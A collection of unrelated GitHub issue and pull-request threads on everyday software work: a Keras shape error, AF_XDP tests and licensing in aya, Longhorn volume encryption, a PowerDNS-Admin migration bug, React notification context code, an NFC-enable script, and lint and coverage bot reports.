/usr/local/lib/python3.7/dist-packages/keras/engine/base_layer.py in _keras_tensor_symbolic_call(self, inputs, input_masks, args, kwargs)
    847     else:
--> 848       return self._infer_output_signature(inputs, args, kwargs, input_masks)
    849

/usr/local/lib/python3.7/dist-packages/keras/engine/base_layer.py in _infer_output_signature(self, inputs, args, kwargs, input_masks)
    887           inputs = self._maybe_cast_inputs(inputs)
--> 888           outputs = call_fn(inputs, *args, **kwargs)
    889

/usr/local/lib/python3.7/dist-packages/keras/layers/core.py in _call_wrapper(*args, **kwargs)
   1349     def _call_wrapper(*args, **kwargs):
-> 1350       return self._call_wrapper(*args, **kwargs)
   1351     self.call = tf.__internal__.decorator.make_decorator(function, _call_wrapper)

/usr/local/lib/python3.7/dist-packages/keras/layers/core.py in _call_wrapper(self, *args, **kwargs)
   1381       kwargs.pop('name', None)
-> 1382       result = self.function(*args, **kwargs)
   1383     self._check_variables(created_variables, tape.watched_variables())

/usr/local/lib/python3.7/dist-packages/tensorflow/python/util/dispatch.py in wrapper(*args, **kwargs)
    205     try:
--> 206       return target(*args, **kwargs)
    207     except (TypeError, ValueError):

TypeError: _add_dispatch() missing 1 required positional argument: 'y'

The above exception was the direct cause of the following exception:

NotImplementedError                       Traceback (most recent call last)
<ipython-input-3-fe10d8214bfb> in <module>()
      1 base_model = mobilenet_v3.MobileNetV3Large(include_top=False, weights=None)
----> 2 base_model.compute_output_shape(input_shape=[224, 224, 3])

/usr/local/lib/python3.7/dist-packages/keras/engine/functional.py in compute_output_shape(self, input_shape)
    468           layer_input_shapes = tf_utils.convert_shapes(
    469               layer_input_shapes, to_tuples=True)
--> 470           layer_output_shapes = layer.compute_output_shape(layer_input_shapes)
    471           # Convert back to TensorShapes.
    472           layer_output_shapes = tf_utils.convert_shapes(

/usr/local/lib/python3.7/dist-packages/keras/engine/base_layer.py in compute_output_shape(self, input_shape)
    787               'layer\'s output. Please implement the '
    788               '`compute_output_shape` method on your layer (%s).' %
--> 789               self.__class__.__name__) from e
    790       return tf.nest.map_structure(lambda t: t.shape, outputs)
    791     raise NotImplementedError(

NotImplementedError: We could not automatically infer the static shape of the layer's output. Please implement the `compute_output_shape` method on your layer (TFOpLambda).

@shkarupa-alex There is a PR for this https://github.com/keras-team/keras/pull/15529 which is not yet merged. PTAL. Thanks!


tests: add AF_XDP test using xdpilone

This is a follow-up PR to https://github.com/aya-rs/aya/pull/527 where the AF_XDP integration test got dropped due to them depending on libbpf. We use the xdpilone crate there that is a pure-rust AF_XDP userspace library.

Rebased on main + align on 16k for Apple Silicon.

Hey, I think xdpilone is under the EUPL license, which is very similar to the GPL.
Can it be used in aya?  I'm not sure it can.
I have also been studying this a little bit:
https://github.com/aws/s2n-quic/tree/main/tools/xdp/s2n-quic-xdp
Which may (or may not) have many of the pieces to do AF_XDP from Rust without libbpf or libxdp.

Hey, I think xdpilone is under the EUPL license, which is very similar to the GPL. Can it be used in aya? I'm not sure it can.

This has been discussed in my original XDP maps PR. IANAL but this is for tests only, this should not affect the library itself. Since artifacts based on xdpilone are not distributed it should not matter.

I have also been studying this a little bit: https://github.com/aws/s2n-quic/tree/main/tools/xdp/s2n-quic-xdp
Which may (or may not) have many of the pieces to do AF_XDP from Rust without libbpf or libxdp. (And it is Apache licensed)

Oh that's a pretty nice one. Seems a bit "as-is" but that's promising, if that's possible to pry it out of the aws lib.

Also, I think xdpilone only has the parts to do tx, and not rx, so maybe another path would be good from that perspective.

It definitely has the parts for RX since it's what's being tested in the integration tests. It lacks the XDP probe to send the packet to the socket map, but that's where Aya comes in. So it's not batteries included like libbpf is, but that does not matter.


Remove an errant "to".

Coverage remained the same at 97.513% when pulling cda686b9ae06674f19e32afa2779e4fa3d6f8639 on braddunbar:typo into 41a9659c2fec92edd6cb616ce0df7d8e0fdf1adc on developit:master.

Thanks for all these :)

Coverage remained the same at 97.513% when pulling b4ade0c61f067e1690c84d6f66b6116f89a4ccf4 on braddunbar:typo into 0eb767ccbd7ca0e7696acfad74a31a71cf9e5981 on developit:master.


Volume Encryption via Longhorn

Discussed in https://github.com/kube-hetzner/terraform-hcloud-kube-hetzner/discussions/287

Originally posted by JustinGuese August 29, 2022
do we have an idea of how to implement volume encryption?
any ideas how we could solve it?

@JustinGuese, I will address this ASAP.

@JustinGuese We very recently added support for Longhorn volumes and a custom values.yaml file to be added, please see the kube.tf.example.
And this is the how to add encryption, which is probably already possible now as you have complete flexibility over Longhorn config.
Please try it, and let me know if all is good so we can close this!

Please be aware of #296; it will get fixed soon. This is required for the above to work.

I will consider this resolved, but if you tried and it turned out not possible because we are missing something, just let me know, and we will reopen this.

@mysticaltech did you have a thought about making this feature donatable?
also: I'm currently stuck at that the nodes need some libraries installed for longhorn and the encryption to work...
How can I do that? does it even work for an existing installation?
 iscsiadm/open-iscsi
cryptsetup
and the dm_crypt has to be loaded
Thanks again for your help!


Destroys avatar's mesh on higher distorts

See screenshot, can't recover mesh either as it was a .asset mesh file due to losing files in the past.

Hello. Pleased to see someone managed to find this repo so soon after I posted it.
The "_Encrypted" mesh and avatar GameObject should appear completely distorted like that in the editor. You would need to put the keys into the shader to test it in the editor. At the bottom of GTPoiyomiShader you should see "Key" 0-4 where you could enter those values.
But it looks like it affected your Avatar's original GameObject too? That shouldn't actually happen at all. It should make a copy of your avatars GameObject, and also a copy of any meshes it edits. The copies should have _Encrypted after them. Is that not what happened?

What you see is the original one. My mesh is a .asset, not fbx.
I have also advertised this af in my server and would like to talk in a better fassion. Please hmu at Plague#2850

I see what the problem is. I pushed a fix for this.
Thanks for being literally the first tester of this. But I apologize for it wrecking your original mesh. Do you have a back up of your mesh? If not I can add a method you could run to un-obfuscate the mesh.
I tried to add you on discord.

Add Plague#9351, forgot 2850 went doot.


Introduce action to fetch Chronos jobs

Add chronos/jobs fixture and an action to fetch Chronos jobs.

Reviewer: @daiyiwhale


Alternative strategies for elements barrier

This patch provides an #ifdef METAL for switching between two different
strategies for the barriers in the elements shader. With it enabled, the
barriers are in workgroup uniform control flow, which is compatible with
translation to Metal, but fails to compile in FXC, as FXC's uniformity
analysis fails. With it disabled, the lookback logic (including
barriers) runs only in a single thread, which compiles in FXC (though
not tested), but creates problems in Metal.
In testing on Android, the METAL version seems slightly faster. On AMD
5700 XT, there is no measurable difference.
I'm inclined not to commit this, but it's potentially useful if we want
to explore cs_5_0 compatibility.

As discussed, this doesn't feel like it's worth the complexity because we're not targeting cs_5_0. For DX12, we'll probably pursue DXC instead of FXC. Also, we may end up with tree reduction instead of decoupled look-back for more robust compatibility.
But if we ever do want to try to port decoupled look-back to FXC, this is probably the way to do it.

For completeness, I'll note that you can run D3D11 on top of D3D12 through official Microsoft API:
https://github.com/microsoft/D3D11On12
For Gio, I'll probably end up expanding the D3D11 backend to attempt a D3D11On12 context and only use piet sm 6 shaders if that succeeds. If that works, we won't have to maintain two D3D renderers.


Ssl certificate and dns management

Firefox dns www domain redirecting to cluster ip address via https link => connection fails

dunno what's happenin' with www.kerusey.com in firefox, but everything seems to work just fine. So there is no need to use HTTPS protocol. It may only be a redirecting problem


chore(linter): promote no-unreachable to correctness.

Since now there are no known false positives, We might want to promote this rule to correctness for the next release so we can find out about its possible false negatives/positives if any.
Feel free to close this PR if you find it too soon for this.

#3778  👈
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @rzvxa and the rest of your teammates on  Graphite

I'll test again when I prepare release for oxlint.

I manually test and change the rule categories before each release. Closing for house keeping.


Merge David's fork fork back into upstream

This pull request merges the forked repo back into the upstream at the develop branch, abandoning all other changes.

Hello @patrickcleeve2! Thanks for opening this PR. We checked the lines you've touched for PEP 8 issues, and found:

In the file piescope/fibsem.py:

Line 155:80: E501 line too long (84 > 79 characters)

In the file piescope/lm/arduino.py:

Line 7:1: E302 expected 2 blank lines, found 1
Line 17:68: E226 missing whitespace around arithmetic operator

In the file piescope/lm/detector.py:

Line 38:80: E501 line too long (84 > 79 characters)
Line 59:80: E501 line too long (86 > 79 characters)
Line 67:76: W504 line break after binary operator
Line 68:37: E127 continuation line over-indented for visual indent
Line 69:37: E124 closing bracket does not match visual indentation
Line 78:5: E303 too many blank lines (2)
Line 78:80: E501 line too long (123 > 79 characters)
Line 95:80: E501 line too long (97 > 79 characters)
Line 131:80: E501 line too long (82 > 79 characters)
Line 157:80: E501 line too long (80 > 79 characters)
Line 158:80: E501 line too long (135 > 79 characters)
Line 176:80: E501 line too long (109 > 79 characters)
Line 190:46: E226 missing whitespace around arithmetic operator
Line 208:76: W504 line break after binary operator

In the file piescope/lm/laser.py:

Line 45:80: E501 line too long (125 > 79 characters)
Line 65:80: E501 line too long (80 > 79 characters)
Line 69:80: E501 line too long (88 > 79 characters)
Line 106:80: E501 line too long (83 > 79 characters)

In the file piescope/lm/mirror.py:

Line 13:1: E303 too many blank lines (3)
Line 39:61: E226 missing whitespace around arithmetic operator
Line 79:80: E501 line too long (91 > 79 characters)

In the file piescope/lm/objective.py:

Line 43:80: E501 line too long (86 > 79 characters)

In the file piescope/lm/structured.py:

Line 41:21: E226 missing whitespace around arithmetic operator
Line 51:23: E226 missing whitespace around arithmetic operator
Line 52:22: E226 missing whitespace around arithmetic operator
Line 53:21: E226 missing whitespace around arithmetic operator
Line 54:23: E226 missing whitespace around arithmetic operator
Line 108:80: E501 line too long (90 > 79 characters)

In the file piescope/lm/volume.py:

Line 19:80: E501 line too long (100 > 79 characters)
Line 78:80: E501 line too long (93 > 79 characters)
Line 121:9: E128 continuation line under-indented for visual indent
Line 121:80: E501 line too long (94 > 79 characters)
Line 131:80: E501 line too long (101 > 79 characters)
Line 135:80: E501 line too long (130 > 79 characters)
Line 141:80: E501 line too long (116 > 79 characters)
Line 144:13: E303 too many blank lines (2)
Line 144:80: E501 line too long (117 > 79 characters)
Line 153:80: E501 line too long (98 > 79 characters)

In the file piescope/utils.py:

Line 17:1: W293 blank line contains whitespace
Line 21:1: E302 expected 2 blank lines, found 1
Line 31:1: E302 expected 2 blank lines, found 1
Line 32:1: W293 blank line contains whitespace
Line 129:80: E501 line too long (85 > 79 characters)
Line 131:36: E262 inline comment should start with '# '
Line 136:80: E501 line too long (97 > 79 characters)
Line 138:80: E501 line too long (83 > 79 characters)
Line 174:26: E262 inline comment should start with '# '
Line 268:1: E303 too many blank lines (4)
Line 301:1: E302 expected 2 blank lines, found 1


Use  for abort()

In https://github.com/sass/node-sass/issues/892
we have a report that node-sass compilation
may fail due to undefined abort().
I think we should not rely on node or uv to
include <stdlib.h> for us.
http://pubs.opengroup.org/onlinepubs/9699919799/functions/abort.html

Thanks. Offending code is a new addition, it compiled fine in every remotely sane environment tested, so it was not caught until now.


SOLR-16580: Avoid making copies of DocCollection for PRS updates

WIP . do not commit

@justinrsweeney @patsonluk this is still WIP , reviews are welcome

@justinrsweeney @patsonluk this is still WIP , reviews are welcome

Thanks for the work @noblepaul ! Just want to confirm that there are mainly 2 goals here:

Avoid making copies of DocCollections when copyWith is called (related to PRS updates)
Avoid fetching PRS states until the state is actually queried (the Lazy PRS provider part)

Do we know the general overhead of the current designs and whether they are causing issues? I agree that both changes will for sure reduce resource usage!

Avoid making copies of DocCollections when copyWith is called (related to PRS updates)

Yes

Avoid fetching PRS states until the state is actually queried (the Lazy PRS provider part)

This behavior is not changed. But what is changed is all states are always queried just in time. Prior to this , the states were copied into the object when it was constructed

@hiteshk25 @patsonluk I have gotten rid of the ThreadLocal completely

@hiteshk25 @patsonluk I have gotten rid of the ThreadLocal completely

@hiteshk25 @patsonluk I have gotten rid of the ThreadLocal completely

Nice! I see that DocCollection has a new ctor which makes things much easier to follow! I think having a different ctor is probably a right step, though it might be hard to convince the Solr community to adapt that as they don't see PRS as something to be enabled by default so far? If it stays that way, we might want to introduce a subclass that extends DocCollection which has PRS support? (to avoid modification to the existing "default" DocCollection) But that's a much more refactoring...
I have also added https://github.com/cowpaths/fullstory-solr/commit/8a83fdfc20d4ae7dc832217ed8533aca3c0bb4ee to demonstrate the issue raised in https://github.com/apache/solr/pull/1242#discussion_r1054654494 . If we run that test on main branch it passes but on the current branch the replica within slice could miss the update.


update region information on etcd asynchronously.

In our implementation, we update etcd synchronous if the region information is changed.
Now we only use pd for quick recover, so it is better to make update asynchronously.
/cc @siddontang @disksing

Now region info is saved to etcd only its epoch is updated (split/addPeer/removePeer), which is not frequently happen. Also now the saving process doesn't acquire lock, see https://github.com/pingcap/pd/pull/677
So I see no reason to make asynchronously.


Cost Explorer API (7/n): come up with strategy on how to account costs in openscapes and new AWS clusters respectively

I've discussed with Yuvi about 2i2c:hub-name tag not capturing much costs (~30 USD / month out of ~1k) in a Erik/Yuvi 1on1. For a new hub setup where we think we have all AWS resources tagged with wanted tags (#4711), we can have one strategy on providing a graph, but the strategy we provide for openscapes must be adjusted as we don't have all relevant tags there.
Yuvi's guidance was that we are to proceed with solving this for openscapes as well as for new hubs, where openscapes may need additional patch work.
Definition of done

A strategy on how to account such costs for openscapes is provided
- A strategy on how to account such costs for future very thoroughly tagged hubs is provided

Moving the "A strategy on how to account such costs for future very thoroughly tagged hubs is provided" goal to a separate issue.

I've ended up also doing the removed goal, the strategies for openscapes and future clusters aligned well enough with some tweaks that I simply felt it was too much wasted time not to think of the future already.

With https://github.com/2i2c-org/infrastructure/issues/4453#issuecomment-2334552406, I consider this completed!


Extractor Docs

Description
This PR adds instructions on using the extractor.
To be paired with https://github.com/Snowiiii/Pumpkin/pull/366

Testing
N/A

Checklist
Things need to be done before this Pull Request can be merged.

[x] Code is well-formatted and adheres to project style guidelines: cargo fmt
[x] Code does not produce any clippy warnings: cargo clippy
[x] All unit tests pass: cargo test

The Website/Docs moved to https://github.com/Snowiiii/Pumpkin-Website


Display Asset meta data columns (filename, bytecount, etc.) in entry

Currently we're not allowing these extra columns and the asset column to co-exist in entry context. If the asset is not part of visible-columns, we're going to show these columns and mark them as generated. Otherwise, these columns will be completely removed from the visible-columns. We did this to avoid adding extra logic in chaise, to keep their values in sync with each other.
We should improve this. The selected file uri is not very meaningful to the users and showing the filename alongside the uri can be helpful. Although maybe just improving the file-picker UI might be enough.
If we decide to allow asset and its meta data columns to co-exist, we have to make sure chaise is keeping these two values in sync. This might require adding extra APIs in ermrestjs to expose the computed hash if there isn't one already.

I made changes in this PR in chaise to copy data from the metadata columns, if those values exist. I

@RFSH  does anything more need to be done for this issue?

We should ask @hongsudt if she still thinks this is needed. The issue title is still not what we're doing and we've just done what I've described as an alternative to improve the UX. We're still removing the metadata columns in entry contexts.

The improvements to the file picker are sufficient for now.


PowerDNS-Admin 0.4.0 - flask upgrade on first run failing

It looks like there may be some regression on the first running of flask upgrade with a clean database.
My existing databases seem to be fine with the upgrade to 0.4.0.
I'm using MariaDB 10.11.2 and PowerDNS-Admin 0.4.0 on a clean database, I'm wondering if anyone else has had this issue?
powerdnsadmin-test-powerdnsadmin-1  | INFO  [alembic.runtime.migration] Context impl MySQLImpl.
powerdnsadmin-test-powerdnsadmin-1  | INFO  [alembic.runtime.migration] Will assume non-transactional DDL.
powerdnsadmin-test-powerdnsadmin-1  | INFO  [alembic.runtime.migration] Running upgrade  -> 787bdba9e147, Init DB
powerdnsadmin-test-powerdnsadmin-1  | INFO  [alembic.runtime.migration] Running upgrade 787bdba9e147 -> 59729e468045, Add view column to setting table
powerdnsadmin-test-powerdnsadmin-1  | INFO  [alembic.runtime.migration] Running upgrade 59729e468045 -> 1274ed462010, Change setting.value data type
powerdnsadmin-test-powerdnsadmin-1  | INFO  [alembic.runtime.migration] Running upgrade 1274ed462010 -> 4a666113c7bb, Adding Operator Role
powerdnsadmin-test-powerdnsadmin-1  | INFO  [alembic.runtime.migration] Running upgrade 4a666113c7bb -> 31a4ed468b18, Remove all setting in the DB
powerdnsadmin-test-powerdnsadmin-1  | INFO  [alembic.runtime.migration] Running upgrade 31a4ed468b18 -><PHONE_NUMBER>77, Upgrade DB Schema
powerdnsadmin-test-powerdnsadmin-1  | INFO  [alembic.runtime.migration] Running upgrade<PHONE_NUMBER>77 -> 0fb6d23a4863, Remove user avatar
powerdnsadmin-test-powerdnsadmin-1  | INFO  [alembic.runtime.migration] Running upgrade 0fb6d23a4863 -> 856bb94b7040, Add comment column in domain template record table
powerdnsadmin-test-powerdnsadmin-1  | INFO  [alembic.runtime.migration] Running upgrade 856bb94b7040 -> b0fea72a3f20, Update domain serial columns type
powerdnsadmin-test-powerdnsadmin-1  | INFO  [alembic.runtime.migration] Running upgrade b0fea72a3f20 -> 3f76448bb6de, Add user.confirmed column
powerdnsadmin-test-powerdnsadmin-1  | ERROR [root] Error: All MySQL CHANGE/MODIFY COLUMN operations require the existing type.
powerdnsadmin-test-powerdnsadmin-1 exited with code 1

This regression was introduced with #635 and breaks MySQL support.
I tested reverting MR 1425 in #635 and the database is created correctly.
I'll see if I can submit a PR to fix both of these cases and properly test it first.

I'm busy testing a MR to fix this, will submit soon.


Is it possible to produce test summary plist files?

I've got my UI XCTests running in parallel. It's awesome!
The thing I feel is missing from when I was running my tests using xcodebuild or XCode is the test summary report and screenshots that are included when you run a test.
Is it possible to produce test summary plist files?
Can these include screenshots?

Thanks! We use KIF as our UI testing framework which is built on top of unit test bundles. We implemented support in Bluepill for XCTUI to make sure we have the flexibility of moving to XCTUI in case KIF is discontinued or XCTUI becomes significantly better. As a result of that, it is not a priority at the moment for the team to add features for XCTUI support (in backlog).
The code base is written in Objective-C and easy to hack around. As always, PRs are welcomed for new features. :)

If you didn't want to mess around too much in the code, you could use a command line tool like xsltproc to transform the current full test report XML file into a nicely formatted pList as a post build step

I'm having troubles finding this full test report XML file. I'm also not seeing screenshots anywhere :( Can you please help me finding those files?

You pass an output directory to the bluepill invocation - that's where your test report ends up. I don't believe bluepill produces screenshots at the moment, unless I've missed something.

@DNCGraef is there a way to get 1 full test report XML instead of multiple reports available per simulator ?

@DNCGraef How do you convert TEST-FinalReport.xml to *.plist? I checked my TEST-FinalReport.xml, there's no information of screenshot at all. While in *.plist file, there's information of screenshot. I want a html report with screenshot.
@oliverhu If bluepill provides a plist file, xcsummary can generate a html report with screenshot

Not sure of the details how to do that and it is not a priority for us since we added that to our testing framework. Nonetheless feel free to contribute if you can do that really quick @LeoDZhao  :)

close old issues, feel free to reopen


chore: auto-assign issues to new Spanner owner

@bshaffer if you can please merge this in for us, that would be wonderful.


Example in ReadMe should explain how to use context

Rather than worrying about how to integrate with Redux/Flux/Reflux/etc, I've found the best way to integrate this with a single page app is to use context.
Given this structure in my App container component's render:

    <NotificationSystem ref={ref => this.notifications = ref} />
    {children}

Side note: you can pass a function to ref rather than setting it in a lifecycle method like "componentDidMount" (as shown in the example code).
Then you put this in the App component...
  static childContextTypes = {
    addNotification: PropTypes.func,
  };

  getChildContext() {
    return {
      addNotification: this.addNotification.bind(this),
    };
  }

  addNotification(notification) {
    this.notifications.addNotification(notification);
  }

Then, when any child component that is rendered inside the App component declares a context type like so:
static contextTypes = {
  addNotification: PropTypes.func.isRequired,
};

Then you can call it like this in that child component:
someFunction(){
    this.context.addNotification({
      title: 'New Message',
      message: "You've received a message from the server!",
      level: 'warning',
      dismissable: false,
    });
}

Using context is easier, IMO, than using a redux/reflux/flux because this component was made to have a function called rather than have its state set, which context is much better for.

@nuclearspike
I like your use of context and I'm currently trying to implement in the same way in a single page app. However, when trying to call addNotification from the child I get this error:

I feel like it is an issue with binding but I'm not sure. Any idea what might be the problem?
I'm trying to implement it here with the src/views/Container.js as the parent component and currently just testing src/views/Landing/Landing.js as one of the children.

in Landing.js you need to declare that you want that context available to
the component.
static contextTypes = {
addNotification: T.func.isRequired,
router: T.object
}
I'd also move the "<NotificationSystem " line up. Are you trying to do the
addNotification first thing?
The "notifications" field of the component isn't set until that component
is rendered and if other things are rendering first and try to make the
call to addNotification, then in that function the
"this.notifications.addNotification() call fails because "notifications"
hasn't been set yet.
On Tue, Nov 15, 2016 at 12:15 PM, James Clements<EMAIL_ADDRESS>wrote:

@nuclearspike https://github.com/nuclearspike
I like your use of context and I'm currently trying to implement in the
same way in a single page app. However, when trying to call addNotification
from the child I get this error:
[image: screen shot 2016-11-15 at 2 11 58 pm]
https://cloud.githubusercontent.com/assets/20052710/20319804/83046024-ab3d-11e6-95b8-84ece797b1f6.png
I feel like it is an issue with binding but I'm not sure. Any idea what
might be the problem?
I'm trying to implement it here
https://github.com/st-thomas-more/stm-dashboard/tree/13-alert-system
with the src/views/Container.js as the parent component and currently
just testing src/views/Landing/Landing.js as one of the children.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/igorprado/react-notification-system/issues/72#issuecomment-260737782,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABGSlilqOR1ZB-PtuMPlk0gQMNyYkdCcks5q-gTUgaJpZM4Kk0ZA
.

Is this the recommended way of providing global notifications for the notif-system in a non-flux app? I know that the context system in React is an experimental API and there are warnings against using it but we see libs like Material-ui and router making using of context.
react-notification-system could provide a <NotificationProvider> (or similar) Component which handles this out of the box.
For example:
Notification Provider
import React, { Component } from 'react';
import { PropTypes } from 'prop-types';

import NotificationSystem from 'react-notification-system';

class NotificationProvider extends Component {

  static propTypes = {
    children: PropTypes.node,
  };

  static defaultProps = {
    children: '',
  };

  static childContextTypes = {
    getNotificationSystem: PropTypes.func,
  };

  getChildContext() {
    return {
      getNotificationSystem: this.getNotificationSystem.bind(this),
    };
  }

  getNotificationSystem() {
    return this.notification;
  }

  render() {
    return (

        {this.props.children}
        <NotificationSystem ref={(ref) => { this.notification = ref; }} />

    );
  }
}

export default NotificationProvider;

A component somewhere in your app
import React, { Component } from 'react';
import PropTypes from 'prop-types';

class DeepComponent extends Component {

  handleClick(e) {
    e.preventDefault();
    this.context.getNotificationSystem().addNotification({
      message: 'foo',
      level: 'success',
    });
  }

  render() {
    return (

        <button onClick={this.handleClick.bind(this)}>Button</button>

    );
  }
}

DeepComponent.contextTypes = {
  getNotificationSystem: PropTypes.func.isRequired,
};

export default DeepComponent;

App entry point
  render(
      <NotificationProvider>
        {renderRoutes()}
      </NotificationProvider>
    , document.getElementById('site-page-target'));
  });

Note, compares to earlier example that exposes addNotification, here we pass the entire notificationSystem in context, then we can call any of the notification system functions.
Also, had to use a function to return the notification system, rather than passing the notificationSystem itself. I think this is because the context may provided before the provided has mounted (so, this.notificationSystem is undefined at the point of getChildContex).

@nuclearspike, thanks for the React Context suggestion !
for anyone coming to this from Visual Studio 2017 react webpack template, i've adapted this to the react-hot-loader AppContainer ...
(new file) NotifierAppContainer.tsx
import * as React from 'react';
import { AppContainer } from 'react-hot-loader';
import * as NotificationSystem from 'react-notification-system';

//adapted to react-hot-loader AppContainer from:https://github.com/igorprado/react-notification-system/issues/72
export class NotifierAppContainer extends AppContainer {
  public notificationSystem: any;

  static childContextTypes = {
    addNotification: React.PropTypes.func,
  };

  getChildContext() {
    return {
      addNotification: this.addNotification.bind(this),
    };
  }

  addNotification(notification: NotificationSystem.Notification) {
    this.notificationSystem.addNotification(notification);
  }

  public render() {
    return

      <NotificationSystem ref={(ref: any) => this.notificationSystem = ref}/>
      {super.render()}

  }
}

(updated) boot.tsx
import * as React from 'react';
import { AppContainer } from 'react-hot-loader';
import * as NotificationSystem from 'react-notification-system';

//adapted to react-hot-loader AppContainer from:https://github.com/igorprado/react-notification-system/issues/72
export class NotifierAppContainer extends AppContainer {
  public notificationSystem: any;

  static childContextTypes = {
    addNotification: React.PropTypes.func,
  };

  getChildContext() {
    return {
      addNotification: this.addNotification.bind(this),
    };
  }

  addNotification(notification: NotificationSystem.Notification) {
    this.notificationSystem.addNotification(notification);
  }

  public render() {
    return

      <NotificationSystem ref={(ref: any) => this.notificationSystem = ref}/>
      {super.render()}

  }
}

usage in AnyComponent.tsx
export class AnyComponent extends React.Component<RouteComponentProps<{}>, AnyComponentState> {

  static contextTypes = {
    addNotification: React.PropTypes.func.isRequired,
  };

  handleTestClick = () => {
    this.context.addNotification({
      title: 'New Message',
      message: "You've received a message from the server!",
      level: 'warning',
      dismissable: true,
    });
  }

  public render() {
    return <button className="btn" onClick={this.handleTestClick}>click me!</button>
  }
}


Update chart icon

Propose Change
Use .png as a chart icon to make it visible on the rancher server.
Demo
My forked longhorn charts repo

Rancher server icon

Issues
https://github.com/rancher/charts/issues/1058

Should the change be merged for Rancher charts also with this id?

Should the change be merged for Rancher charts also with this id?

@jenting do you have a PR for the existing rancher chart update?

I thought it should be updated along with v1.1.1 chart release.

Since the rancher chart https://github.com/rancher/charts/tree/dev-v2.5-source depends on longhorn/charts.
If we want to make a change to the existing released v1.1.0 chart, this means longhorn has to release a new v1.1.0 chart release first and then update the rancher chart.
The v1.1.1 chart will be released soon, I'd prefer to not update the icon link in existed v1.1.0 chart.

Since the rancher chart https://github.com/rancher/charts/tree/dev-v2.5-source depends on longhorn/charts.
If we want to make a change to the existing released v1.1.0 chart, this means longhorn has to release a new v1.1.0 chart release first and then update the rancher chart.
The v1.1.1 chart will be released soon, I'd prefer to not update the icon link in existed v1.1.0 chart.

agree.

cc @cclhsu


Tested on e7270

I have tested the script on my latitude e7270
./nfc.py off: works great every single time
./nfc.py on: works great when coming from an off state. But if the feature is already on it gives some grief:
> ./nfc.py on
INFO:__main__:Looking for supported device...
INFO:__main__:Found 0A5C:5834
DEBUG:cvcomm:Enumerating interfaces...
DEBUG:cvcomm:Interface found: INTERFACE 3: Vendor Specific
DEBUG:cvcomm:Enumerating endpoints...
DEBUG:cvcomm:BULK IN found: ENDPOINT 0x84: Bulk IN
DEBUG:cvcomm:BULK OUT found: ENDPOINT 0x4: Bulk OUT
DEBUG:cvcomm:Endpoint discovery successful.
INFO:__main__:Handler ControlVault2 (Broadcom ControlVault 2)
INFO:__main__:Turning NFC on...
DEBUG:cvcomm:Control: (65, 0, 1, 3) {}
DEBUG:cvcomm:Put: 01 00 00 04 10 2f 04 00
Traceback (most recent call last):
  File "/home/gon/repos/controlvault2-nfc-enable/./nfc.py", line 66, in <module>
    handler.turn_on()
  File "/home/gon/repos/controlvault2-nfc-enable/cv2.py", line 36, in turn_on
    self.communicator.talk(self.turn_on_seq1)
  File "/home/gon/repos/controlvault2-nfc-enable/cvcomm.py", line 53, in talk
    data = self.recv_packet()
  File "/home/gon/repos/controlvault2-nfc-enable/cvcomm.py", line 37, in recv_packet
    packet = self.read(64, timeout=5000).tobytes()
  File "/home/gon/repos/controlvault2-nfc-enable/cvcomm.py", line 28, in read
    return self.bulk_in.read(*args, **kwargs)
  File "/home/gon/.local/lib/python3.10/site-packages/usb/core.py", line 423, in read
    return self.device.read(self, size_or_buffer, timeout)
  File "/home/gon/.local/lib/python3.10/site-packages/usb/core.py", line 1029, in read
    ret = fn(
  File "/home/gon/.local/lib/python3.10/site-packages/usb/backend/libusb1.py", line 846, in bulk_read
    return self.__read(self.lib.libusb_bulk_transfer,
  File "/home/gon/.local/lib/python3.10/site-packages/usb/backend/libusb1.py", line 954, in __read
    _check(retval)
  File "/home/gon/.local/lib/python3.10/site-packages/usb/backend/libusb1.py", line 602, in _check
    raise USBTimeoutError(_strerror(ret), ret, _libusb_errno[ret])
usb.core.USBTimeoutError: [Errno 110] Operation timed out

./nfc.py reset:  Also fails if it is already on in the same way. So I guess it seems to do what it is supposed to do?
Anyway, hope this is of any help. I would suggest adding an exception or a check to contain the tracebacks.

./nfc.py on: (...) if the feature is already on it gives some grief:

I don't know whether we'd be able to distinguish "device on" and "device communication problem" cases.
I highly encourage any volunteer to poke around this device as the traffic dumps do not show any kind of checking being done by the Windows driver.
Unfortunately I don't have time to analyze this now, but I'll leave it as an open item.

./nfc.py reset: Also fails if it is already on in the same way. So I guess it seems to do what it is supposed to do?

It definitely does not fail in the same way - there is no communication with the device in the reset method. Could you provide the logs for failed reset? It is a low-level reset that works for me every time - whether the NFC is on or off.

You are right. It seems like a hassle that is not worth the trouble.
Regarding the reset thing. You are also right, I must have mistyped something because it now works perfectly.
Thanks again!


Add Multilingual Settings

Fixes #3266
Changes proposed in this pull request:

Support multilingual presentation
Keep the name unified

Pull Request Test Coverage Report for Build 1123

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 68.123%

Totals

Change from base Build 602:
0.0%

Covered Lines:
11382

Relevant Lines:
16708

💛  - Coveralls


Image comparison tests for utils.figutils

Coverage increased (+0.49%) to 90.11% when pulling 57a539ef791b3cfee82fad112d9571a02dc78bce on phobson:img-comp-tests-01 into a987a18da04bd0e66ba434052b3abc8b64fbeabf on Geosyntec:master.

Coverage increased (+0.49%) to 90.11% when pulling 8a006ae39d78c0a02354310a1976d9ad3b089814 on phobson:img-comp-tests-01 into a987a18da04bd0e66ba434052b3abc8b64fbeabf on Geosyntec:master.

Coverage increased (+0.49%) to 90.11% when pulling dbb069df8060b05b0b8cc7d595ce87d643787ae8 on phobson:img-comp-tests-01 into a987a18da04bd0e66ba434052b3abc8b64fbeabf on Geosyntec:master.

Coverage increased (+0.49%) to 90.11% when pulling 310e5637871fe72350b6773c528fa7aa768f8f68 on phobson:img-comp-tests-01 into a987a18da04bd0e66ba434052b3abc8b64fbeabf on Geosyntec:master.


bump pytz

Codecov Report

Merging #173 (2d07005) into main (2303a42) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main     #173   +/-   ##
=======================================
  Coverage   42.76%   42.76%
=======================================
  Files          23       23
  Lines         975      975
=======================================
  Hits          417      417
  Misses        558      558

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2303a42...2d07005. Read the comment docs.


REACT: Add Option to change background sheet

Can you please elaborate the issue?

Can you please elaborate the issue?

Can you please elaborate the issue?

We need to change the background of the output screen with other styles of pages. Check out doc2pen.smaranjitghose.codes/editor

